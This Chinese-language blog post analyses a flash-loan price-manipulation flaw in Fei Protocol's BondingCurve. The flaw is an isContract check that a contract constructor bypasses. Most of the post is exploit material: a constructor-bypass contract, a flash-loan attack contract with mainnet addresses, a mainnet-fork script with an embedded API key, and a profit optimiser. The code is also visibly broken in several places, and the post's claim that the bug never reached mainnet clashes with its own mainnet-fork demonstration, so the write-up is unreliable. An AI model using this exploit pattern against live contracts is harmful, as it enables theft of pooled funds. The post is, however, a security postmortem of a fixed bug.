Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。
Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。但是其对于如何分析漏洞,如何在本地环境中模拟漏洞有着重要的借鉴作用。本文的参考链接如下:Fei Protocol Flashloan Vulnerability Postmortem | by Immunefi | Immunefi | Medium
此次出漏洞的合约是BondingCurve
合约,其漏洞函数为:
function allocate() external override postGenesis whenNotPaused {
require((!Address.isContract(msg.sender)) || msg.sender == core().genesisGroup(), "BondingCurve: Caller is a contract");
uint256 amount = getTotalPCVHeld();
require(amount != 0, "BondingCurve: No PCV held");
_allocate(amount);
_incentivize();
emit Allocate(msg.sender, amount);
}
这个函数中,漏洞在于!Address.isContract(msg.sender)
这一个检查,该检查用于判断调用该函数的地址是否是一个合约地址还是是一个EOA地址。
我们进入@openzeppelin/contracts/utils/Address.sol
中,进一步查看isContract
函数:
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
从isContract
的方法中,我们可以看到它检查的是一个地址对应的extcodesize
, 认为当extcodesize(addr) > 0
就是合约。
首先我们看下黄皮书中关于extcodesize
的解释:
$$ \boldsymbol{\mu}'{\mathbf{s}}[0] \equiv \begin{cases} \lVert \mathbf{b} \rVert & \text{if} \quad \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \bmod 2^{160}] \neq \varnothing \ 0 & \text{otherwise} \end{cases} $$
$$ \mathtt{KEC}(\mathbf{b}) \equiv \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \bmod 2^{160}]{\mathrm{c}} $$
对上述定义的简单描述为:如果该外部地址对应的账户状态存在,则返回外部地址的代码长度,否则返回0。即如果外部地址是一个有代码的合约地址,就会返回该合约的代码长度。
同时,在黄皮书7.1节中,详细讨论了在合约创建过程中,extcodesized的情况:
请注意,当初始化代码执行时,新创建的地址已经被创建而存在,但没有内在的主体代码。即在初始化代码执行期间,地址上的${EXTCODESIZE}$应该返回0,这是账户的代码长度,而${CODESIZE}$应该返回初始化代码的长度。
因此,它在这段时间内收到的任何消息调用都不会导致代码被执行。
如果初始化执行以${SELFDESTRUCT}$指令结束,这个问题就没有意义了,因为账户将在交易完成前被删除。对于一个正常的${STOP}$代码,或者如果返回的代码是空的,那么这个状态就会留下一个僵尸账户,任何剩余的余额将被永远锁定在这个账户中。
由此可见,通过extcodesize
来判断一个地址是不是合约地址,并不是一个充分必要条件,而是一个必要不充分条件。
故该漏洞可以被如下方式利用:
pragma solidity ^0.6.0;
import "./IBondingCurve.sol";
contract FakeEOA{
constrctor(IBondingCurve iBondingCurve) public {
iBondingCurve.allocate();
}
}
简单的指出漏洞并不是我们的目的,我们的目的是模拟利用这个漏洞进行攻击。FEI协议是一个去中心化的算法稳定币,通过各种方法将Fei的价格维持在固定值上。一种方法是通过协议控制价值(PCV), FEI协议本身控制了Uniswap V2池中ETH/FEI对的大量流动性提供者代币(LP代币)(一个LP代币代表了每个池子里的代币按比例存入的份额)。
当FEI的价格超过1.01美元时,用户可以用ETH从FEI 的Bonding Curve中购买新造的FEI,以套利二级市场的价格,使其降至1美元。这些ETH被托管在Bonding Curve中,直到保管人重新分配它,此时,它将以现货价格存入ETH-FEI对,即调用Uniswap的mint方法。
问题是任何人都可以调用allocate(),该函数获取协议控制的价值(PCV),并以当时的市场价格(而不是ETH/USD的预言机价格)将其放入Uniswap池。
Address.isContract
和nonContract
修饰符是为了防止在allocate操作过程中对FEI进行价格操纵,但这个防护措施在写的时候并没有发挥作用。如果被一个合约的构造器调用,它可以被绕过,正如我们在上面看到的。
故思路整理为:
//从AAVE的WETH资金池中闪电贷到一笔WETH
//将贷款得到的WETH中的一部分用于swap WETH/FEI交易对,将FEI的价格拉高
//将贷款得到的WETH中的另一部分在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI
//借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI
//将此前得到的所有FEI全部swap回WETH
//偿还闪电贷的WETH,结余资金即为利润
contract Exploit is IFlashLoanReceiver{
IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA);
IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878);
IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65);
IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7);
uint public _b;
uint public _d;
uint public _aavePremium;
constructor(uint b, uint d) public {
_b = b;
_d = d;
//update oracle
UNISWAP_ORACLE.update();
console.log("udpate oracle");
f
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns(bool){
_aavePremium = premiums[0];
console.log("received WETH flashloan with premium",_aavePremium / 10**18);
//setp1:
dump();
buyFromBondingCurve();
allocate();
buyBack();
repayWETH();
console.log("repaying flashloan");
return true;
}
receive() external payable();
}
function flashloan() public {
address[] memory assests = new address[](1);
assests[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = _b+_d;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
bytes memory params = new bytes(0x00);
AAVE_LENDING_POOL.flashLoan(
address(this), //address receiverAddress,
assets,//address[] calldata assets,
amounts,//uint256[] calldata amounts,
modes,//uint256[] calldata modes,
address(0),//address onBehalfOf,
params,//bytes calldata params,
0//uint16 referralCode
);
console.log("ETH balance", WETH.balanceOf(address(this))/10**18);
}
function dump() internal {
WETH.approve(address(ROUTER_02),uint(-1));
address[] memory data = new address[](2);
data[0] = address(WETH);
data[1] = address(FEI);
uint[] memory amounts = new uint[](2);
amounts = ROUTER_02.swapExactTokensForTokens(
_d,
0,
data,
address(this),
uint(-1)
);
console.log("Dumped: ",_d / 10**18, "ETH on WETH/FEI pool");
console.log("FEI earned by dumped WETH: ", amounts[1]);
}
function buyFromBondingCurve() internal {
//先将WETH换成ETH
WETH.withdraw(_b);
//发送ETH到purchase方法上
uint amount = ETH_BONDING_CURVE.purchase{value:_b}(address(this), _b);
console.log("bought fei from bonding curve for ",_b / 10**18, "ETH");
console.log("fei bounght is ",amount);
console.log("fei total is", FEI.balanceOf(address(this)));
}
function allocate() internal {
new Allocator(ETH_BONDING_CURVE);
console.log("Allocate ETH from fei protocol");
}
function buyBack() internal {
FEI.approve(address(ROUTER_02),uint(-1));
uint amountIn = FEI.balanceOf(address(this));
address[] memory data = new address[](2);
data[0] = address(FEI);
data[1] = address(WETH);
uint[] memory amounts = new uint[](2);
amounts = ROUTER_02.swapExactTokensForTokens(
amountIn,
0,
data,
address(this),
uint(-1)
);
console.log("Swapped ", amountIn / 10**18, "fei on WETH/FEI pool");
}
function repayWETH() internal {
//approve aave for flashloan payback
WETH.approve(address(AAVE_LENDING_POOL), _b+_d+_aavePremium);
}
通过查阅相关资料显示,该攻击在block高度为12350000时可用,在高度12500000时漏洞已被修复。故
const hre = require("hardhat");
async function main() {
//reset the local chain to a fork of mainnet
//so that the state is always a promise
await hre.network.provider.request({
method: "hardhat_reset",
params: [{
forking: {
jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
blockNumber: 12350000
// blockNumbeR: 12500000 // after fix
}
}]
})
//check this contract balance of WETH
const WETH = await hre.ethers.getContractAt("IWETH",'0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2');
//deploy poc contract
d = "207569000000000000000000"
b = "092430000000000000000000"
const Exploit = await hre.ethers.getContractFactory("Exploit2");
const exploit = await Exploit.deploy(d,b);
console.log("Exploit deployed to: ", exploit.address);
//let's run the exploit poc
const balance0 = await WETH.balanceOf(exploit.address);
console.log("balance before exploit ", balance0/1e18," ETH");
console.log("start exploit");
await exploit.flashloan();
const balance1 = await WETH.balanceOf(exploit.address);
console.log("if the balance is positive the exploit is success", balance1 - balance0);
console.log("balance after exploit ", balance1 /1e18, " ETH");
}
main()
.then(()=>process.exit(0))
.catch(error =>{
console.error(error);
process.exit(1);
});
要达到最大的利润点,需要满足如下公式:
$$ d=WETH{swap},b=WETH{purchase} $$
$$ FEI{swap}=R{FEI}^0-\frac{R{WETH}^0\cdot R{FEI}^0}{R_{WETH}^0+d} $$
$$ FEI{purchase} = b\cdot \frac{R{FEI}^0}{R_{WETH}^0} $$
当调用allocate方法时, FEI合约会按照此时的价格向WETH/FEI资金池中添加流动性:
$$ WETH_{deposit}=b $$
$$ FEI{deposit}=b\cdot \frac{R{FEI}^0-FEI{swap}}{R{WETH}^0+d} $$
此时所有的FEI为:
$$ FEI{total}=FEI{swap}+FEI_{purchase} $$
将所有的FEI全部swap成WETH得到:
$$ WETH{total}=(R{WETH}^0+d+WETH{deposit})-\frac{(R{WETH}^0+d+WETH{deposit})\cdot (R{FEI}^0-FEI{swap}+FEI{deposit})}{(R{FEI}^0-FEI{swap}+FEI{deposit})+FEI{total}} $$
则利润为:
$$ profit=WETH_{total}-d-b $$
这里我们调用gekko这个python库来解上面的方程组
from gekko import GEKKO
m = GEKKO()
#p0 就是在攻击前的WETH/FEI池子里的WETH数量
p0 = m.Param(value=141245.117)
#p1 就是在攻击前的WETH/FEI池子里的FEI数量
p1 = m.Param(value=463938347)
#peg 就是攻击前的WETH/FEI的价格
peg = m.Param(value=p1/p0)
#求目标参数b,d, 初始化为50000
d = m.Var(lb=0,value=50000)
b = m.Var(lb=0,value=50000)
m.Equation(d + b <= 700000)
#第一步,dump WETH到FEI/WETH池子
p0_d = p0+d
p1_d = (p0 * p1) / p0_d
r1_d = p1 - p1_d
#第二步,purchase FEI
r1_b = b * peg
#第三步, 调用allocate方法
p0_b = p0_d + b
# p1_b / p0_b = p1_d / p0_d
p1_b = p1_d * (p0_b / p0_d)
#第四步,将手上所有的FEI全部swap成WETH
p1_f = p1_b + r1_d + r1_b
p0_f = (p0_b * p1_b) / p1_f
#我们收到的WETH
r0_f = p0_b - p0_f
#我们的利润
profit = r0_f - b - d
#最大化我们的利润
m.Maximize(profit)
# 执行
m.options.IMODE = 3 # steady state optimization
m.solve()
print("solved:")
print("objective: " + str(m.options.objfcnval))
print("d: ", str(d.value))
print("b: ", str(b.value))
往期推荐
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!